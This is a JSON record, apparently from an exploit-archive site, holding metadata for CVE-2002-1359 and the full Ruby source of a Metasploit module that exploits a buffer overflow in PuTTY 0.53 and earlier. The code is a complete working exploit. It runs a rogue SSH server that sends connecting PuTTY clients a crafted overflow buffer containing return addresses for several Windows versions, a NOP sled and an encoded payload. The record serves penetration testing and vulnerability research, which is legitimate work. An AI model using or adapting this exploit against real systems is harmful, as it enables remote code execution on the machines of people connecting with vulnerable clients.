{"exploit":{"id":"MSF-windows--ssh--putty_msg_debug","name":"PuTTY Buffer Overflow","description":"This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. This vulnerability affects versions 0.53 and earlier.","cves":["CVE-2002-1359"],"author":"MC","published":"2002-12-16","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/ssh/putty_msg_debug.rb","path":"modules/exploits/windows/ssh/putty_msg_debug.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"putty_msg_debug.rb","vulnerabilities":[{"id":"CVE-2002-1359","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SSH2 servers and clients do not properly handle large packets or large fields, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code via buffer overflow attacks, as demonstrated by the SSHredder SSH protocol test suite.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-1359","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-1359"},"updatedAt":"2024-08-08T03:19:28.748Z","retrievedAt":"2026-11-26T12:44:09.136Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--ssh--putty_msg_debug.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--ssh--putty_msg_debug","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--ssh--putty_msg_debug/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--ssh--putty_msg_debug/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::TcpServer\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PuTTY Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in the PuTTY SSH client that is\n          triggered through a validation error in SSH.c. This vulnerability\n          affects versions 0.53 and earlier.\n        },\n        'Author' => 'MC',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2002-1359' ],\n          [ 'OSVDB', '8044'],\n          [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],\n          [ 'BID', '6407'],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 400,\n          'BadChars' => \"\\x00\",\n          'MaxNops' => 0,\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],\n          [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],\n          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2002-12-16',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The SSH daemon port to listen on\", 22 ])\n      ]\n    )\n  end\n\n  def on_client_connect(client)\n    return if ((p = regenerate_payload(client)) == nil)\n\n    buffer =\n      \"SSH-2.0-OpenSSH_3.6.1p2\\r\\n\" +\n      \"\\x00\\x00\\x4e\\xec\\x01\\x14\" +\n      \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n      \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\xde\" +\n      (((((rand_text_alphanumeric(64)) + \",\") * 30) + rand_text_alphanumeric(64) + \"\\x00\\x00\\x07\\xde\") * 2) +\n      (((rand_text_alphanumeric(64)) + \",\") * 2) + rand_text_alphanumeric(21) +\n      [target.ret].pack('V') + make_nops(10) + p.encoded +\n      (((rand_text_alphanumeric(64)) + \",\") * 15) + rand_text_alphanumeric(64) + \"\\x00\\x00\\x07\\xde\" +\n      (((rand_text_alphanumeric(64)) + \",\") * 30) + rand_text_alphanumeric(64) + \"\\x00\\x00\\x07\\xde\" +\n      (((rand_text_alphanumeric(64)) + \",\") * 21) + rand_text_alphanumeric(64) + \"\\x00\\x00\\x07\\xde\" +\n      (((((rand_text_alphanumeric(64)) + \",\") * 30) + rand_text_alphanumeric(64) + \"\\x00\\x00\\x07\\xde\") * 6) +\n      \"\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    print_status(\"Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...\")\n\n    client.put(buffer)\n    handler\n\n    service.close_client(client)\n  end\nend\n","sha256":"315331e630f84a19ea0fa92693dc183e292c7e47c124ba72796042ada39af341","bytes":2937,"fetchedAt":"2026-11-26T12:44:08.930Z","encoding":"utf-8 (display only; download retains original bytes)"}